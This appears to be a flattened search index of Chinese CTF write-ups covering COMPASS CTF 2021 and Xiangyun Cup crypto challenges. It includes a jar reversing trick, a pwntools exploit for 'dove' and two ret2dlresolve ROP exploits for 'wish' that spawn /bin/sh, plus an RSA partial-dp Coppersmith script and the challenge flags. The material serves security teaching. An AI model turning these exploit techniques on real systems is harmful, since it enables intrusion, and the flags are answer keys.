import java.util.Base64;\nimport java.util.Scanner;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.swing.JOptionPane;\n\npublic class EzJar {\n //hint: flag not here but the logic are same\n public static void main(String[] args) throws Exception {\n JOptionPane.showMessageDialog(null, \"Give me your flag:\", \"alert\", JOptionPane.QUESTION_MESSAGE);\n System.out.print(\"Give me your flag:\");\n Scanner sc = new Scanner(System.in);\n String s = sc.next();\n Cipher cipher = Cipher.getInstance(\"DES\");\n cipher.init(1, new SecretKeySpec(\"easy_key\".getBytes(), \"DES\"));\n String result = new String(Base64.getEncoder().encode(cipher.doFinal(s.getBytes())));\n System.out.println(result);\n if (\"UUwnbEk0rzLol6T6uWsAqIlSzBsuPYTtuaxkQBwZA1zwu6ba5rnSM82HBI8AMbQhX5KdguHFpXtBInmrvakU6uDQ4whqs+FfRrrQqxupe/lxNirtl2deAg==\".equals(result)) {\n JOptionPane.showMessageDialog(null, \"Accept!\");\n System.out.print(\"Accept!\");\n } else {\n JOptionPane.showMessageDialog(null, \"Wrong answer!\");\n System.out.print(\"Wrong answer!\");\n }\n }\n}\n
\u4f46\u662f\u5728DES\u7ebf\u89e3\u5bc6\uff08\u6216\u8005\u7528java\u91cd\u8fd0\u884c\u4e00\u4e0b\u89e3\u5bc6\uff09\u4e4b\u540e\u5f97\u5230
notflag{hint:jar_will_consider_a.class/_as_file_but_zip_will_consider_it_as_folder}
\u63d0\u793a\u8bf4jar\u5bf9\u4e8e\u7c7b\u540d.class\u4f1a\u5ffd\u7565\u5c3e\u90e8\u7684/\uff0c\u4f46\u662fzip\u4f1a\u8ba4\u4e3a\u8fd9\u662f\u4e00\u4e2a\u76ee\u5f55\u800c\u4e0d\u662f\u6587\u4ef6\u3002 \u4ed4\u7ec6\u89c2\u5bdf\uff0c\u6211\u4eec\u770b\u5230\u7684\u5e76\u4e0d\u662fEzJar.class\u800c\u662f\u4e00\u4e2a\u9759\u6001\u7684EzJar.java \u67e5\u770bjar\u768416\u8fdb\u5236\uff0c\u679c\u7136\u6709\u4e00\u4e2a\u5947\u602a\u7684\u6587\u4ef6 jar\u5728\u8fd0\u884c\u65f6\u4f1a\u67e5\u627eMANIFEST\u4e2d\u7684\u7c7b\u540d.class\uff0c\u540c\u65f6\u5ffd\u7565\u5c3e\u90e8\u7684/\u3002\u4e5f\u5c31\u662f\u8bf4\u201dEzJar.class/\u201d\u4f1a\u88ab\u8bc6\u522b\u4e3a\u6587\u4ef6\u800c\u4e0d\u662f\u6587\u4ef6\u5939\uff0c\u56e0\u6b64jar\u52a0\u8f7d\u7684class\u5b9e\u9645\u662f\u201dEzJar.class/\u201d\u3002\uff08\u4e8b\u5b9e\u4e0a\uff0cjava\u751a\u81f3\u4f1a\u5ffd\u7565CRC\u6821\u9a8c\uff0c\u800cZIP\u4f1a\u62d2\u7edd\u89e3\u538b\uff09 \u4e3a\u4e86\u53d6\u51fa/\u7ed3\u5c3e\u7684\u6587\u4ef6\uff0c\u53ef\u4ee5\u5199java\u811a\u672c\u8bfb\u53d6jar\u91cd\u5199entry\uff0c\u66f4\u7b80\u5355\u7684\u65b9\u6cd5\u662f\u5c06hex\u91cc\u7684\u6587\u4ef6\u540d\u201dEzJar.class/\u201d\u66ff\u6362\u4e3a\u201dEzJar1.class\u201d\u5c31\u53ef\u4ee5\u7528zip\u89e3\u538b\u51fa\u771f\u5b9e\u7684class\u6587\u4ef6\u4e86\u3002 \u5c06\u89e3\u538b\u51fa\u7684\u201dEzJar1.class\u201d\u4ea4\u7ed9IDEA\u53cd\u6c47\u7f16\uff0c\u770b\u5230\u201dEzJar1.class\u201d\u7684\u4e3b\u8981\u903b\u8f91\u548c\u5047\u6587\u4ef6EzJar.java\u662f\u5b8c\u5168\u4e00\u6837\u7684\uff0c\u53ea\u6709\u5b57\u7b26\u4e32\u88ab\u52a0\u5bc6\u4e86\u3002
\u6df7\u6dc6\u7684\u4ee3\u7801\uff0c\u5b9e\u9645\u683c\u5f0f\u548c\u4e0a\u8fb9\u4e00\u6a21\u4e00\u6837
public static void main(String[] var0) throws Exception {\n JOptionPane.showMessageDialog((Component)null, I[l[0]], I[l[1]], l[2]);\n System.out.print(I[l[3]]);\n byte llllllllllllIIl = new Scanner(System.in);\n char llllllllllllIII = llllllllllllIIl.next();\n String lllllllllllIlll = Cipher.getInstance(I[l[2]]);\n lllllllllllIlll.init(l[1], new SecretKeySpec(I[l[4]].getBytes(), I[l[5]]));\n int lllllllllllIllI = new String(Base64.getEncoder().encode(lllllllllllIlll.doFinal(llllllllllllIII.getBytes())));\n if (lIl(I[l[6]].equals(lllllllllllIllI))) {\n JOptionPane.showMessageDialog((Component)null, I[l[7]]);\n System.out.print(I[l[8]]);\n \"\".length();\n if (-\" \".length() > 0) {\n return;\n }\n } else {\n JOptionPane.showMessageDialog((Component)null, I[l[9]]);\n System.out.print(I[l[10]]);\n }\n\n }\n
\u4e5f\u5c31\u662f\u53ea\u9700\u8981\u89e3\u5bc6\u51faflag\u548ckey\u7684\u5b57\u7b26\u5c31\u80fd\u5f97\u5230flag\uff0c\u627e\u5230\u4ed6\u4eec\u6240\u5728\u7684\u4f4d\u7f6e
static {\n lII();\n ll();\n AC = I[l[11]];\n flag = I[l[12]];\n enc = I[l[13]];\n banner = I[l[14]];\n WA = I[l[15]];\n key = I[l[16]];\n }\n
I \u6570\u7ec4\u662f\u52a0\u89e3\u5bc6\u6570\u7ec4\uff0c\u800cl\u6570\u7ec4\u662f\u4e0b\u6807\u66ff\u6362\u6570\u7ec4\uff0c\u83b7\u53d6l\u548cI\u7684\u503c\u53ea\u9700\u8981\u628a\u4ee3\u7801\u590d\u5236\u76f4\u63a5\u8fd0\u884c\u5c31\u80fd\u5f97\u5230\u771f\u5b9e\u7684\u7d22\u5f15\uff0c\u7136\u540e\u628a\u5bf9\u5e94\u7684\u5bc6\u6587\u548c\u5bc6\u7801\u627e\u51fa\u6765 \u5176\u4e2d\u7684\u52a0\u5bc6\u52a0\u5bc6\u5e76\u4e0d\u590d\u6742\uff0c\u53ea\u6709\u4e09\u79cd\uff1a - \u2460\u6709\u770b\u4f3c\u5197\u957f\u5176\u5b9e\u5c31\u662f\u5faa\u73af\u4ea6\u6216\u7684\u52a0\u89e3\u5bc6\uff0c\u89e3\u5bc6 s=b64decode(b\"\u7b2c\u4e00\u4e2a\u53c2\u6570\u5bc6\u6587\") key=b\"\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5bc6\u94a5\" for i in range(0,len(s)): print(chr(s[i]^key[i%len(key)]),end=\"\") - \u7528\u5bc6\u7801\u7684MD5\u8f6c\u6362\u4e3aDES\u5bc6\u94a5\u52a0\u89e3\u5bc6 - \u7528\u5bc6\u7801\u7684MD5\u8f6c\u6362\u4e3aBolwfosh\u5bc6\u94a5\u52a0\u89e3\u5bc6 \u8fd9\u4e24\u79cd\u7528java\u518d\u8fd0\u884c\u4e00\u6b21\u5c31\u662f\u89e3\u5bc6
\u627e\u5230flag\u548ckey\u5bf9\u5e94\u7684\u52a0\u5bc6\u65b9\u6cd5\uff0c\u89e3\u5bc6\u5f97\u5230key\u4e3ame@Ctf3r\uff0c\u7528key DES\u89e3\u5bc6\u5f97\u5230flag
flag{Ctf3r_me_1s_A_very_g0Od_9Uy}
PS. IDA\u76f4\u63a5\u6253\u5f00jar\u5c31\u53ef\u4ee5\u770b\u5230\u771f\u5b9e\u7684entry
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#pwn","title":"PWN","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#dove","title":"dove","text":"IDA\u7684\u903b\u8f91\u53ef\u4ee5\u770b\u7684\u5341\u5206\u6e05\u695a\uff0c\u7a0b\u5e8f\u5206\u4e3a\u524d\u9762\u7684\u4e09\u4e2acheck\u548c\u540e\u9762\u7684\u4e00\u4e2a\u6ea2\u51fa \u4e09\u6b21ckeck\u4f9d\u6b21\u4e3a\uff1a \u7b2c\u4e00\u4e2acheck\u662f\u8f93\u5165\u4e00\u4e2along long\uff0c\u5982\u679c\u5c0f\u4e8e10\u5c31\u8f6c\u6362\u4e3aint\u8c03\u7528talk \u6211\u4eec\u53ef\u4ee5\u8f93\u5165\u4e00\u4e2a\u8d1f\u6570\u4f7f\u5f97\u8f6c\u6362\u6210int\u65f6\u7b49\u4e8e10\uff0c\u7528c\u5199\u4e2a\u811a\u672c\u4ecelonglong\u7684\u6700\u5c0f\u503c\u904d\u5386\u5c31\u80fd\u7acb\u523b\u5f97\u5230\u4e00\u4e2a\u7b26\u5408\u6761\u4ef6\u7684\u7ed3\u679c -9223372036854775798
long long choice = 0;\nputs(\"\\n\u7b2c\u4e00\u5468\uff0c\u9e3d\u5b50\u6ca1\u6709\u51fa\u73b0\u5728\u8bad\u7ec3\u73b0\u573a\uff0c\u4f60\u51c6\u5907\u53bb\u53eb\u4ed6\");\n printf(\"\u672c\u5468\u4f60\u7684\u89e3\u51b3\u65b9\u6cd5\u662f(0-9):\");\n scanf(\"%lld\", &choice);\n if (choice < 10) {\n win_count += talk(choice);\n }\n else {\n win_count += talk(rand() % 10);\n }\n
\u7b2c\u4e8c\u4e2acheck\u662f\u8f93\u5165\u4e00\u4e2aint \u5982\u679c\u5c0f\u4e8e10\u5c31\u8c03\u7528talk \u6211\u4eec\u9700\u8981\u8df3\u8fc7\u8fd9\u4e2a\u8f93\u5165\uff0cscanf\u5728\u63a5\u53d7\u65e0\u6548\u503c\u65f6\u4f1a\u8df3\u8fc7\u8d4b\u503c\uff0c \u6b63\u8d1f\u53f7+ - \u662f\u53ef\u4ee5\u8df3\u8fc7scanf\u53c8\u4e0d\u7ed3\u675f\u7a0b\u5e8f\u7684\u65e0\u6548\u503c\u3002 \u6216\u8005\u8f93\u5165\u4e00\u4e2a\u8fc7\u5927\u7684\u6574\u6570\u4e5f\u80fd\u8df3\u8fc7\u8f93\u5165\uff0c\u6bd4\u5982 \u628a\u7b2c\u4e00\u6b21\u7684\u8f93\u5165\u590d\u5236\u4e00\u6b21 \u4e5f\u884c
scanf(\"%d\", &choice);\n if (choice < 10) {\n win_count += talk(choice);\n }\n else {\n win_count += talk(rand() % 10);\n }\n
\u7b2c\u4e09\u4e2acheck\u662f\u8f93\u5165\u4e00\u4e2aint \u548c\u4e00\u4e2a\u5f53\u524d\u65f6\u95f4\uff08\u7cbe\u786e\u5230\u79d2\uff09\u7684\u968f\u673a\u6570\uff0c\u5982\u679c\u968f\u673a\u6570\u8f93\u5165\u6b63\u786e\u5c31\u8fdb\u884ctalk \u56e0\u4e3a\u662f\u7cbe\u786e\u5230\u79d2\u7684\u968f\u673a\u79cd\u5b50\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u8981\u8fdb\u884c\u5230\u8fd9\u4e00\u6b65\u65f6\u5019\u672c\u673a\u4e5f\u751f\u6210\u4e00\u4e2a\u968f\u673a\u6570\u53d1\u9001\u8fc7\u53bb\u5c31\u662f\u4e00\u81f4\u7684
int x = 0;\n srand(time(0));\n choice = 0;\n int y = rand();\n scanf(\"%d %d\", &choice, &x);\n if (y == x) {\n win_count += talk(choice);\n }\n else {\n win_count += talk(rand() % 10);\n }\n
\u6700\u7ec8\u4f1a\u63a5\u53d7\u4e00\u4e2aa\u5b57\u7b26\u4e32\u6ea2\u51fa\uff0c\u8986\u76d6\u540e\u8fb9\u7684\u53d8\u91cfwin_flag\u5c31\u80fd\u5b8c\u6210PWN
char* a = \"\";\nint win_flag = 0;\nif (win_count > 2) {\n gets(&a);\n }\n else {\n puts(\"\\n\u52a0\u6cb9\uff0c\u518d\u8bd5\u4e00\u6b21\u5427\uff01\");\n }\n
\u6574\u4e2a\u9898\u76ee\u811a\u672c\u5982\u4e0b\uff1a
from pwn import *\nimport ctypes\n\np=process(\"./dove\")\n\nlibc = ctypes.CDLL('/lib/x86_64-linux-gnu/libm.so.6') # \u9884\u5148\u52a0\u8f7dlibc\u51cf\u5c11\u5ef6\u8fdf\n\nprint(p.recv().decode())\np.sendline(b\"-9223372036854775798\") # longlong < 10, \u8f6cint\u4e4b\u540e\u6b63\u597d=10\n\nprint(p.recv().decode())\np.sendline(b\"-\") # \u8df3\u8fc7scanf \u6216\u8005\u7528\u4e00\u4e2a\u5f88\u5927\u7684\u6570\u5b57\u4e5f\u53ef\u4ee5 \u6bd4\u5982\u4e0a\u8fb9\u7684-92233...\n\nlibc.srand(libc.time())\nprint(p.recv().decode())\np.sendline(b\"10 \"+str(libc.rand()).encode()) #\u540c\u6b65\u751f\u6210\u968f\u673a\u6570\n\nprint(p.recv().decode())\np.sendline(b\"a\"*50) # \u6ea2\u51fa\u8986\u76d6\u540e\u8fb9\u7684\u53d8\u91cf\n\np.interactive()\n
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#wish","title":"wish","text":"\u9996\u5148ckecksec\u770b\u4e0b\u4fdd\u62a4 \u5e73\u5e73\u65e0\u5947\u53ea\u5f00\u4e86NX\u548c\u90e8\u5206RELRO\uff0cIDA\u770b\u903b\u8f91\uff1a
ssize_t vuln(){\n char buf[8]; // [esp+Ch] [ebp-Ch] BYREF\n\n return read(0, buf, 52);\n}\n
\u662f\u4e00\u4e2a\u6ea2\u51fa\uff0c\u4f46\u662f\u5f88\u53ef\u60b2\u7684\u662f\u8fd9\u4e2a\u9898\u76ee\u4e0d\u4ec5\u6ca1\u6709\u540e\u95e8\u51fd\u6570\uff0c\u751a\u81f3\u6ca1\u6709\u89e3\u6790 \u4efb\u4f55\u7684\u8f93\u51fa\u65b9\u6cd5 \uff0c\u6ca1\u6709\u8f93\u51fa\u5c31\u96be\u4ee5\u6cc4\u9732\u5730\u5740\uff0c\u800clibc\u53c8\u662f\u968f\u673a\u52a0\u8f7d\u7684\u4e0d\u77e5\u9053\u521d\u59cb\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u6709\u4ee5\u4e0b\u601d\u8def\uff1a - \u7206\u7834libc\u7684\u504f\u79fb return to OneGadGet - ret2dlresolve \u5176\u4e2d\u65b9\u6cd5\u4e8c\u662f\u4e00\u79cd\u6bd4ret2libc\u66f4\u5f3a\u5927\u7684ROP\uff0c\u53ef\u4ee5\u5728\u4e0d\u6cc4\u9732libc\u5730\u5740\u7684\u60c5\u51b5\u4e0b\u901a\u8fc7dlresolve\u7528\u4efb\u610f\u51fd\u6570\u540d\u8986\u76d6\u89e3\u6790\u5df2\u6709\u7684\u51fd\u6570\u3002\u800cpwntools\u53c8\u63d0\u4f9b\u4e86\u5f3a\u5927\u7684Ret2dlresolvePayload\u7c7b\uff0c\u4e0b\u9762\u662f\u81ea\u52a8\u5316\u811a\u672c\uff1a
from pwn import *\n\ncontext.binary = elf = ELF('wish')\nr = remote(\"xx.xx.xx.xx\",xxxx)\nrop = ROP(context.binary)\ndlresolve = Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"/bin/sh\"])\nrop.read(0, dlresolve.data_addr, 200)\nrop.ret2dlresolve(dlresolve)\nr.send(b'A' * (0xc+4) + rop.chain())\npause(1)\nr.send(dlresolve.payload)\nr.interactive()\n
\u8fd0\u884c\u5c31\u80fd\u83b7\u5f97shell \u77ed\u77ed12\u884c\u4ee3\u7801\u5c31\u80fd\u5b8c\u6210\u5f3a\u5927\u7684ret2dl\uff0cpwntools\u786e\u5b9e\u662f\u5f3a\u5927\u7684\u5de5\u5177\u3002
\u5f53\u7136\uff0c\u6211\u4eec\u8981\u60f3\u4e86\u89e3ret2dlresolve\u7684\u539f\u7406\uff0c\u6700\u597d\u7684\u529e\u6cd5\u662f\u4e0d\u501f\u52a9\u8f6e\u5b50\u5b9e\u73b0\u4e00\u6b21\u3002 \u800c\u4e14\u4e0a\u8fb9\u7684\u81ea\u52a8\u5316\u811a\u672c\u53d1\u9001\u7684\u7b2c\u4e00\u6bb5\u6808\u8fc1\u79fb\u7684payload\u957f\u5ea6\u6b63\u597d\u662f52\u4e2a\u5b57\u7b26\uff0c\u5f88\u6781\u9650\uff0c\u6211\u4eec\u624b\u5199\u7684\u811a\u672c\u4e0d\u9700\u8981\u5e73\u8861\u6808\u7684\u60c5\u51b5\u4e0b\u53ea\u9700\u898148\u4e2a\u5b57\u7b26\uff0c\u591a\u4e86\u4e00\u70b9\u7a7a\u95f4\uff1a
from pwn import *\n\nelf = ELF('./wish')\n\noffset = 0xc + 4\nppp_ret = 0x080492a1 # ROPgadget --binary wish --only \"pop|ret\"\nleave_ret = 0x08049125 # ROPgadget --binary wish --only \"leave|ret\"\nplt_0 = 0x08049030 # objdump -d -j .plt wish\nrel_plt = 0x08048350 # objdump -s -j .rel.plt wish\ndynsym = 0x08048248 # readelf -S wish\ndynstr = 0x080482b8 # readelf -S wish\nret = 0x0804900e # ROPgadget --binary wish --only \"ret\"\n\npop_ebp_ret = ppp_ret + 2\nread_plt = elf.plt['read']\nstack_size = 0x800\nbss_addr = elf.sym['__bss_start']\nbase_stage = bss_addr + stack_size\nr = remote(\"xx.xx.xx.xx\",xxxx)\n\n# read(0, bss, 100)\u628apayload2\u5199\u5165bss\u6bb5\uff0c\u5e76\u628a\u6808\u8fc1\u79fb\u5230bss\u6bb5\npayload = b'A' * offset + p32(ret) + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100) + \\\n p32(pop_ebp_ret) + p32(base_stage) + p32(leave_ret)\nr.send(payload)\n\nalign = 0x10 - ((base_stage + 40 - dynsym) % 16)\nfake_sym_addr = base_stage + 40 + align # \u586b\u5145\u5730\u5740\u4f7f\u5176\u4e0edynsym\u7684\u504f\u79fb16\u5b57\u8282\u5bf9\u9f50\uff08\u5373\u4e24\u8005\u7684\u5dee\u503c\u80fd\u88ab16\u6574\u9664\uff09\uff0c\u56e0\u4e3a\u7ed3\u6784\u4f53sym\u7684\u5927\u5c0f\u90fd\u662f16\u5b57\u8282\nr_info = ((((fake_sym_addr - dynsym) // 16) << 8) | 0x7) # \u4f7f\u5176\u6700\u4f4e\u4f4d\u4e3a7\uff0c\u901a\u8fc7\u68c0\u6d4b\nfake_write_rel = flat(p32(elf.got['read']), p32(r_info))\nfake_write_str_addr = base_stage + 40 + align + 0x10\nfake_name = fake_write_str_addr - dynstr\nfake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0))\n\npayload2 = flat(b'AAAA'\n , p32(ret)\n , p32(plt_0)\n , base_stage + 32 - rel_plt # arg\n , p32(ppp_ret)\n , p32(base_stage + 80)\n , p32(base_stage + 80)\n , p32(7) # len(\"/bin/sh\")\n , fake_write_rel # base_stage + 32\n , b'A' * align # \u7528\u4e8e\u5bf9\u9f50\u7684\u586b\u5145\n , fake_sym # base_stage + 40 + align\n , b'system\\x00' # \u4f2a\u9020\u51fa\u7684\u5b57\u7b26\u4e32\n )\npayload2 += b'A' * (80 - len(payload2)) + b'/bin/sh\\x00'\npayload2 += b'A' * (100 - len(payload2))\nr.sendline(payload2)\nr.interactive()\n
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#frank","title":"Frank","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#hint","title":"\u6bd4\u8d5b\u4e2d\u653e\u51fa\u7684hint","text":"PWN-dove \u7684\u6e90\u7801\u5df2\u4e0a\u4f20\u5230\u7fa4\u91cc Misc-ezPWD \u7684\u5bc6\u7801\u662f18\u4f4d\u8eab\u4efd\u8bc1\u53f7 Web-Life Restart \u7a81\u7834100\u5c81\u662f\u5fc5\u8981\u6761\u4ef6\u662f\u6a59\u8272\u5929\u8d4b\"\u795e\u79d8\u7684\u5c0f\u76d2\u5b50\" \u987a\u5229\u4fee\u4ed9\u9700\u8981\u5f88\u9ad8\u7684\u5c5e\u6027 \u81ea\u52a8\u64ad\u653e\u53ef\u4ee5\u5f88\u5feb\u5f88\u5feb RE-Extremely slow \u7a0b\u5e8f\u9650\u5236\u662f\u4e00\u4e2a\u65f6\u95f4\u5e38\u6570\uff0c\u8d85\u65f6\u9000\u51fa Web-BBS \u6ce8\u5165\u662f\u7a81\u7834\u53e3 RE-Random \u52a8\u6001\u8c03\u8bd5
BBS \u63d0\u793a \u5f88\u7b80\u5355\u7684SQL\u6ce8\u5165 Extremely slow \u63d0\u793a \u4fee\u6539\u6700\u5927\u65f6\u95f4\u9650\u5236\u5e38\u6570 Random \u63d0\u793a \u52a8\u6001\u8c03\u8bd5\u83b7\u53d6key java_re \u63d0\u793a \u7b2c\u4e00\u6b65\u89e3\u6cd5\u7528\u4e86https://itzsomebody.xyz/2021/07/11/javaisez3-writeup.html \u7684\u89e3\u6790\u7279\u6027 wish \u63d0\u793a ret2dlresolve Double Frank \u63d0\u793a \u53cc\u6307\u9488\u6570\u7ec4\u6a21\u62df\u73af\u72b6\u961f\u5217;\u7279\u6b8a\u60c5\u51b5Double Free;\u6784\u9020tcache dup
"},{"location":"Writeup/Cryptography/Exposure/","title":"Exposure","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 50
"},{"location":"Writeup/Cryptography/Exposure/#description","title":"Description","text":"Do you know how to rsa?
"},{"location":"Writeup/Cryptography/Exposure/#solution","title":"Solution","text":"from Crypto.Util.number import *\nimport gmpy2\np = getStrongPrime(512)\nq = getStrongPrime(512)\nn = p * q\nphi = (p - 1) * (q - 1)\ne = 7621\nd = gmpy2.invert(e, phi)\nflag = b\"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\"\nc = pow(bytes_to_long(flag), e, n)\ndp = d % (p - 1)\nprint(dp >> 200)\nprint(c, e, n)\n\n\n#1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985\n#46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616\n#7621\n#140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863\n
dp\u6cc4\u9732\uff0c\u4f46\u662fdp\u88ab\u53f3\u79fb\u4e86200\u4f4d\uff0c\u60f3\u5230\u4e86Coppersmith\u653b\u51fb\uff0c\u8fd9\u4e2a\u662fdp\u9ad8\u4f4d\u6cc4\u9732\uff0c\u6240\u4ee5\u5e94\u8be5\u662f\u6c42((dp*e-1)/i)+1 \u7684 small roots \u5c31\u53ef\u4ee5\u4e86
\u53c2\u8003KAPO2019 crypto\u7684\u9898
https://github.com/pcw109550/write-up/tree/master/2019/KAPO/Lenstra-Lenstra-Lovasz
\u5199\u51fa\u89e3\u5bc6sage\u811a\u672c
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863\nsecret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985\nct = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616\n[n, secret, ct] = list(map(Integer, [n, secret, ct]))\ne = 7621\n\n\ndef facorize(e, dp):\n for i in range(2, e):\n p = (e * dp - 1 + i) // i\n if n % p == 0:\n return p\n return -1\n\n\n\n\ndef recover(secret):\n F.<x> = PolynomialRing(Zmod(n))\n einv = inverse_mod(e, n)\n for k in range(1, e):\n print(\"k =\", k)\n f = (secret << 200) + x + (k - 1) * einv\n x0 = f.small_roots(X=2 ** (200 + 1), beta=0.44, epsilon=1/32)\n if len(x0) != 0:\n dp = x0[0] + (secret << 200)\n p_cand = facorize(e, Integer(dp))\n if p_cand < 0:\n continue\n else:\n return p_cand, dp\n\n\nif __name__ == \"__main__\":\n p, dp = recover(secret)\n q = n // p\n assert p * q == n\n phi = (p - 1) * (q - 1)\n d = inverse_mod(e, phi)\n print(\"p = \", p, \"\\nq = \", q)\n flag = bytes.fromhex(hex(pow(ct, d, n))[2:])\n print(flag)\n
"},{"location":"Writeup/Cryptography/Exposure/#flag","title":"Flag","text":"flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}
"},{"location":"Writeup/Cryptography/Exposure/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/Cryptography/Guess/","title":"Guess","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 15
"},{"location":"Writeup/Cryptography/Guess/#description","title":"Description","text":"\u5728\u4e00\u6b21\u4efb\u52a1\u4e2d\u6211\u9047\u5230\u4e86\u4e00\u4e2achallenge\uff0c\u6211\u7684\u961f\u53cb\u7ed9\u6211\u53d1\u4e86\u4e00\u4e2a\u4ed6\u622a\u83b7\u7684hint\uff0c\u4f60\u5229\u7528\u8fd9\u4e2ahint\u80fd\u5e2e\u6211\u5b8c\u6210\u8fd9\u4e2achallenge\u5417\uff1fnc 0.cloud.chals.io 14337
guess.zip
"},{"location":"Writeup/Cryptography/Guess/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9996\u5148\u5b83\u6709\u4e00\u4e2a\u5bc6\u94a5\u751f\u6210\u7684\u4ee3\u7801\u3002key
\u662f\u4e00\u4e2a20*4\u7684\u77e9\u9635\uff0c\u5143\u7d20\u5747\u4e3a\u4e09\u4f4d\u6570\uff0c\u7136\u540e\u53f3\u4e58\u4e00\u4e2a\u968f\u673a1024\u4f4d\u77e9\u9635\u5f97\u5230\u3002\u6211\u4eec\u53ea\u77e5\u9053key
\u77e9\u9635\u7b2c\u4e00\u884c\u7684\u5185\u5bb9\uff0c\u4ee5\u53ca\u7684\u503c\uff0c\u4f46\u662f\u4e0d\u77e5\u9053\u77e9\u9635\u7684\u5185\u5bb9\u3002
\u731c\u6d4b\u53ef\u80fd\u53ef\u4ee5\u7528\u683c\u57fa\u89c4\u7ea6\u5148\u5f04\u51fakey
\uff0c\u4f46\u662f\u6709\u611f\u89c9\u4e0d\u9760\u8c31\uff0c\u6211\u4eec\u5148\u653e\u4e00\u653e\uff0c\u5ba1\u8ba1\u4e00\u4e0boracle\u4ea4\u4e92\u7684Guess.py
\u6587\u4ef6\u3002
\u6587\u4ef6\u4e2d\u4f7f\u7528\u7684\u5bc6\u7801\u7b97\u6cd5\u662fPaillier\u7b97\u6cd5\uff0c\u8be5\u7b97\u6cd5\u652f\u6301\u540c\u6001\u52a0\u6cd5\u3002oracle\u4ea4\u4e92\u903b\u8f91\u5982\u4e0b\uff1a
\u672c\u8d28\u4e0a\u53ea\u9700\u8981\u628akey
\u6062\u590d\u51fa\u6765\u5373\u53ef\u3002\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u5728\u4e0a\u9762\u7684\u7b2c\u56db\u6b65\u505a\u6587\u7ae0\u3002
\u7b2c\u56db\u6b65\u53ef\u4ee5\u7528Paillier\u7b97\u6cd5\u7684\u6027\u8d28\u6765\u6784\u9020\u5bc6\u6587\u3002\u8bb0\uff0cPaillier\u7b97\u6cd5\u5bf9\u4e8e\u4e00\u4e2a\u660e\u6587\uff0c\u5148\u968f\u673a\u751f\u6210\u4e00\u4e2a\uff0c\u7136\u540e\u8ba1\u7b97\u3002
\u90a3\u4e48\uff0c\u5982\u679c\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e24\u4e2a\u660e\u6587\u5bc6\u6587\u5bf9\uff0c\u6211\u4eec\u8ba1\u7b97
\u6b64\u65f6\u6211\u4eec\u4f1a\u53d1\u73b0\u8fd9\u4e2a\u65b0\u6784\u9020\u7684\u5bc6\u6587\u5bf9\u5e94\u660e\u6587\u3002
\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4ee4\u4e3aoracle\u6240\u7ed9\u7684\u5bc6\u6587\uff0c\u5e76\u4f7f\u7528\u9898\u76ee\u6240\u7ed9\u7684\u516c\u94a5\u5f97\u5230\u53e6\u4e00\u4e2a\u660e\u6587\u5bc6\u6587\u5bf9\uff0c\u8b6c\u5982\u4ee4\uff0c\u7136\u540e\u7528\u548c\u52a0\u5bc6\u5f97\u5230\uff0c\u5e76\u6784\u9020\u5bc6\u6587
\u7136\u540e\u5c31\u53ef\u4ee5\u5728oracle\u7684\u7b2c\u56db\u6b65\u8f93\u5165\u8fd9\u4e2a\uff0c\u8fd9\u6837oracle\u6240\u89e3\u51fa\u7684\u660e\u6587\u5c31\u662f
\u56e0\u4e3a\u9898\u76ee\u6240\u7ed9\u7684key
\u662f\u56fa\u5b9a\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\u662f\u56fa\u5b9a\u7684\uff0c\u6240\u4ee5oracle\u89e3\u51fa\u7684\u660e\u6587\u4e5f\u662f\u6709\u9650\u7684\uff0880\u4e2a\uff09\uff0c\u8fd9\u5c31\u53d8\u6210\u4e86\u4e00\u4e2a80\u4e2a\u6837\u672c\u7684\u4e8c\u5206\u7c7b\u95ee\u9898\u3002\u6211\u4eec\u53ef\u4ee5\u628a\u6240\u8f93\u5165\u7684\u548c\u56fa\u5b9a\uff0c\u53ef\u4ee5\u591a\u6b21\u548coracle\u4ea4\u4e92\uff0c\u5148\u5c1d\u8bd5\u731c\u6d4b\u7b54\u6848\uff0c\u6839\u636eoracle\u7684\u68c0\u9a8c\u7ed3\u679c\u5f97\u5230\u82e5\u5e72\u7684\u5148\u9a8c\u77e5\u8bc6\u3002
